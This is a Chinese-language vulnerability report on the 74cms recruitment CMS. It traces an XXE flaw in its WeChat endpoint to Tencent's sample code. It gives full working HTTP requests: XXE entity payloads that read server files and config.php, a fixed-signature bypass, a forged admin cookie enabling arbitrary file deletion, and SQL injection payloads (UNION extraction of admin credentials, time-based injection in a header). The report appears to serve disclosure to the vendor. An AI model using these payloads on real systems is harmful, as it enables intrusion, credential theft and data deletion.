0x000 简介 写这个漏洞的时候很纠结,不知道到底要提交给谁,74cms,cncert,腾讯? 最后还是交给74cms吧,因为74cms的厂商看了还是挺负责的,交给cncert又不知道能不能让厂商知道并修复,交给腾讯肯定又是忽略的节奏! 这里主要那74cms的漏洞和phpyun之前的漏洞分析,然后找出共同的问题点,然后找到来源,都是因为开发者的安全意识薄弱,还有腾讯的带头大哥榜样惹的祸,暂且这么说吧! 作为厂商只是那现成的来用,太依赖第三方的东西,完全没有自己考虑到问题的产生。 作为这个漏洞的来源腾讯,虽然提供了现成示例,示例中也有提到安全防御,但是只是一个提示,并没有真实的代码,由于带头大哥作用,用户很信任的直接拿来用了,然后问题产生了。。。 下面详细介绍。 0x001 任意文件读取漏洞 这里存在任意文件读取漏洞,应该是XXE漏洞,且同一文件存在多处 由于此漏洞又引起了SQL注入漏洞 74CMS最新版:74cms_v3.4.20140820 官方8.20号更新 之前雨牛提交过一次: WooYun: 74cms (20140709) 任意文件读取 & 注入漏洞 这里直接就是没有检测checkSignature,只要signature参数设置了这个就直接进入函数responseMsg,然后漏洞就产生了 在最新版中,74cms在进入responseMsg前,添加了检测:
if(!$this->checkSignature()) { exit(); }
但是这里的检测在默认情况下依然存在问题,可被绕过,看下面分析! 文件/plus/weixin.php:
public function responseMsg() { if(!$this->checkSignature()) { exit(); } $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; if (!empty($postStr)) { $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $keyword = iconv("utf-8","gb2312",$keyword); $time = time(); $event = trim($postObj->Event); if ($event === "subscribe") { $word= "回复j返回紧急招聘,回复n返回最新招聘!您可以尝试输入职位名称如“会计”,系统将会返回您要找的信息,我们努力打造最人性化的服务平台,谢谢关注。"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); }
这里将$postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; 通过simplexml_load_string解析后的内容,直接带入了$postObj: 然而$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];就是直接获取的POST过来的XML内容,没有经过任何处理,且无视GPC。 整个过程就是传一个XML的内容进去,然后输出一个XML的内容,那么我们结果XML实体注入不就可以读取服务器上的内容,然后再输出出来么?! 实际证明是可行的,见漏洞证明! 在这之前还有一个条件:
private function checkSignature() { $signature = $_GET["signature"]; $timestamp = $_GET["timestamp"]; $nonce = $_GET["nonce"]; $token = TOKEN; $tmpArr = array($token, $timestamp, $nonce); sort($tmpArr); $tmpStr = implode( $tmpArr ); $tmpStr = sha1( $tmpStr ); if($tmpStr == $signature ) { return true; } else { return false; } }
如果用户设置了wx_token就没办法了,但是这个wx_token默认是空的。 所以在默认条件下,没有wx_token时,这个$tmpStr == $signature==da39a3ee5e6b4b0d3255bfef95601890afd80709,这是一个固定的值了,我们是完全可以利用上面的漏洞读入任意文件。 0x002 后台任意登陆及任意文件删除漏洞 由于我们上面的任意文件读取,可以读到任意文件,所以配置文件中的$QS_pwdhash也是可以读取到的 我们来看看后台的管理权限验证: 文件:/admin/admin_baiduxml.php
define('IN_QISHI', true); require_once(dirname(__FILE__).'/../data/config.php'); require_once(dirname(__FILE__).'/include/admin_common.inc.php'); $act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'xmllist'; $smarty->assign('act',$act); $smarty->assign('pageheader',"百度开放平台"); ......
开头引用了admin_common.inc.php,进入:
if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout') { if($_COOKIE['Qishi']['admin_id'] && $_COOKIE['Qishi']['admin_name'] && $_COOKIE['Qishi']['admin_pwd']) { if(check_cookie($_COOKIE['Qishi']['admin_name'],$_COOKIE['Qishi']['admin_pwd'])) { update_admin_info($_COOKIE['Qishi']['admin_name'],false); } else { setcookie("Qishi[admin_id]", '', 1, $QS_cookiepath, $QS_cookiedomain); setcookie("Qishi[admin_name]", '', 1, $QS_cookiepath, $QS_cookiedomain); setcookie("Qishi[admin_pwd]", '', 1, $QS_cookiepath, $QS_cookiedomain); exit('<script type="text/javascript">top.location="admin_login.php?act=login";</script>'); } } else { exit('<script type="text/javascript">top.location="admin_login.php?act=login";</script>'); } }
这里进行验证,如果未登录,且访问后台页面时,会判断COOKIE 当COOKIE中的admin_id,admin_name,admin_pwd不为空时,调用check_cookie检测验证
function check_cookie($user_name, $pwd) { global $db,$QS_pwdhash; $sql = "SELECT * FROM ".table('admin')." WHERE admin_name='".$user_name."' "; $user = $db->getone($sql); if(md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == $pwd) { return true; } return false; }
这里通过admin_name查出管理员的pwd,pwd_hash 然后md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) 当此md5值等于cookie中的pwd时,然后true 所以,这里的admin_name可控,QS_pwdhash通过读取可控 当admin_name不存在时,返回的pwd,pwd_hash为空 此时 md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == md5(''.''.''.$QS_pwdhash) == pwd 所以,当我们cookie中的pwd等于QS_pwdhash的md5即可通过,返回true 此时即可操作这里的admin_baiduxml.php页面的功能 回到此页面:
elseif($act == 'del') { $xmlset=get_cache('baiduxml'); $xmldir = '../'.$xmlset['xmldir']; echo $xmldir; $file_name=$_POST['file_name']; if (empty($file_name)) { adminmsg("请选择文档!",1); } if (!is_array($file_name)) $file_name=array($file_name); foreach($file_name as $f ) { echo $xmldir.$f; @unlink($xmldir.$f); } adminmsg("删除成功!",2); }
当act=del时: POST的file_name没有经过处理直接进入unlink函数,导致任意文件删除! 0x003 SQL注入漏洞 再往下看:
if (!empty($keyword)) { if($_CFG['sina_apiopen']=='0') { $word="网站微信接口已经关闭"; $text="<xml> <ToUserName><![CDATA[".$fromUsername."]]></ToUserName> <FromUserName><![CDATA[".$toUsername."]]></FromUserName> <CreateTime>".$time."</CreateTime> <MsgType><![CDATA[text]]></MsgType> <Content><![CDATA[".$word."]]></Content> </xml> "; exit($text); } $limit=" LIMIT 6"; $orderbysql=" ORDER BY refreshtime DESC"; if($keyword=="n") { $jobstable=table('jobs_search_rtime'); } else if($keyword=="j") { $jobstable=table('jobs_search_rtime'); $wheresql=" where `emergency`=1 "; } else { $jobstable=table('jobs_search_key'); $wheresql.=" where likekey LIKE '%{$keyword}%' "; } $word=''; $list = $id = array(); $idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit); while($row = $this->fetch_array($idresult)) { $id[]=$row['id']; } if (!empty($id)) { $wheresql=" WHERE id IN (".implode(',',$id).") "; $result = $this->query("SELECT * FROM ".table('jobs').$wheresql.$orderbysql);
当sina_apiopen没有开启时,这里同样是XXE漏洞 当sina_apiopen开始时,keyword = trim($postObj->Content);,即为输入的xml中的content标签的内容,进入下面的SQL执行,由于这里的数据时无视GPC的,随意直接到SQL注入,读取任意用户数据了 ================================================================================================= 上面讲了下74cms的漏洞,下面重点分析一下这个同意的XXE漏洞 0x004 拟似通用的微信模块XXE漏洞 下面我们来说一下这里的拟似通用的任意文件读取XXE漏洞 这里都是在微信功能里面 而且都是同样的原因引起的: 先判断checkSignature,这里只有一个参数TOKEN不可知,但是默认都是空 所以此函数的判断基本上忽略 然后$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];获取内容,都是通过simplexml_load_string解析获取的xml内容,不经过处理直接进入xml内容里,然后输入了 同样的案例phpyun人才系统也用 WooYun: PHPYUN最新版任意文件读取漏洞 74cms人才系统也有 所以怀疑这里的微信功能是同一模块代码都拿来直接用的 事实就是这样: 微信接口开发者指南: http://mp.weixin.qq.com/wiki/index.php?title=%E6%8E%A5%E5%85%A5%E6%8C%87%E5%8D%97 这里就是phpyun和74cms中微信模块的来源 而且这里给出来现成的PHP示例代码: http://mp.weixin.qq.com/mpres/htmledition/res/wx_sample.20140819.zip 来看看这里的示例代码:
<?php /** * wechat php test */ //define your token define("TOKEN", "weixin"); $wechatObj = new wechatCallbackapiTest(); $wechatObj->valid(); class wechatCallbackapiTest { public function valid() { $echoStr = $_GET["echostr"]; //valid signature , option if($this->checkSignature()){ echo $echoStr; exit; } } public function responseMsg() { //get post data, May be due to the different environments $postStr = $GLOBALS["HTTP_RAW_POST_DATA"]; //extract post data if (!empty($postStr)){ /* libxml_disable_entity_loader is to prevent XML eXternal Entity Injection, the best way is to check the validity of xml by yourself */ libxml_disable_entity_loader(true); $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA); $fromUsername = $postObj->FromUserName; $toUsername = $postObj->ToUserName; $keyword = trim($postObj->Content); $time = time(); $textTpl = "<xml> <ToUserName><![CDATA[%s]]></ToUserName> <FromUserName><![CDATA[%s]]></FromUserName> <CreateTime>%s</CreateTime> <MsgType><![CDATA[%s]]></MsgType> <Content><![CDATA[%s]]></Content> <FuncFlag>0</FuncFlag> </xml>"; if(!empty( $keyword )) { $msgType = "text"; $contentStr = "Welcome to wechat world!"; $resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr); echo $resultStr; }else{ echo "Input something..."; } }else { echo ""; exit; } } private function checkSignature() { // you must define TOKEN by yourself if (!defined("TOKEN")) { throw new Exception('TOKEN is not defined!'); } $signature = $_GET["signature"]; $timestamp = $_GET["timestamp"]; $nonce = $_GET["nonce"]; $token = TOKEN; $tmpArr = array($token, $timestamp, $nonce); // use SORT_STRING rule sort($tmpArr, SORT_STRING); $tmpStr = implode( $tmpArr ); $tmpStr = sha1( $tmpStr ); if( $tmpStr == $signature ){ return true; }else{ return false; } } } ?>
可以看到跟74cms的中的微信代码是一样的,phpyun也同样 唯一不同的地方就是,在示例代码里面有一个libxml_disable_entity_loader函数,这个函是用来prevent XML eXternal Entity Injection的,但是这只是示例中的一个提示,并不真正的存在此函数,需要的话得用户自己定义。 剩下的地方都是一样的,通过跟74cms和phpyun的开发人员沟通,都是直接那这里的示例代码稍加修改即利用的,而且都没有自定义这个libxml_disable_entity_loader函数,所以很明显是有问题的!!! 通过上面的分析和证明,这里74cms的任意文件读取漏洞跟phpyun的那个是一样的,同样的问题引起的,所以说是通用的漏洞毫不为过。 这,就是漏洞的来源!!!
任意文件读取漏洞证明: 注意这里的Content-Type Content-Type: text/xml
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: text/xml Content-Length: 275 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "file:///F:/wwwroot/Apache2/htdocs/74cms/robots.txt"> ]> <xml> <ToUserName>&test;</ToUserName> <FromUserName>1111</FromUserName> <Content>2222</Content> <Event>subscribe</Event> </xml>
这里读入了txt文件,但是如果要读取php文件内容的话,这样是不行的 因为php源码里面有尖括号会破坏xml的格式,这样是读不出来PHP源码的 但是我们可以这样:
php://filter/read=convert.base64-encode/resource=../data/config.php
这样打出来的php内容是base64编码,我们在解码即可得到php源码内容了:
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: text/xml Content-Length: 292 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=../data/config.php"> ]> <xml> <ToUserName>&test;</ToUserName> <FromUserName>1111</FromUserName> <Content>2222</Content> <Event>subscribe</Event> </xml>
后台任意文件删除: 通过上面读出QS_pwdhash的值 $QS_pwdhash = "~MmgQ0y~-3gw9cHq"; 然后md5(~MmgQ0y~-3gw9cHq)= 64d3043b108382ce9be576eeac8de47f 然后添加COOKIE:admin_name要不存在的name,admin_id,admin_pwd等于MD5值
POST /74cms/admin/admin_baiduxml.php?act=del HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: Qishi[admin_name]=adminname; Qishi[admin_pwd]=64d3043b108382ce9be576eeac8de47f; Qishi[admin_id]=1; PHPSESSID=aa12bf3aced95b1f56a0b9313037ea17 X-Forwarded-For: 127.0.0.1',`email`=(if(mid(user(),1,1)=char(114),sleep(3),0))# DNT: 1 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 23 file_name=../robots.txt
看看结果,成功删除:
robots.txt已被删除:
SQL注入漏洞:
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709×tamp=&nonce= HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Type: text/xml Content-Length: 341 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE copyright [ <!ENTITY test SYSTEM "file:///F:/wwwroot/Apache2/htdocs/74cms/robots.txt"> ]> <xml> <ToUserName>&test;</ToUserName> <FromUserName>1111</FromUserName> <Content>2222' union select concat(admin_name,0x23,pwd,0x23,pwd_hash) from qs_admin#</Content> <Event>3333</Event> </xml>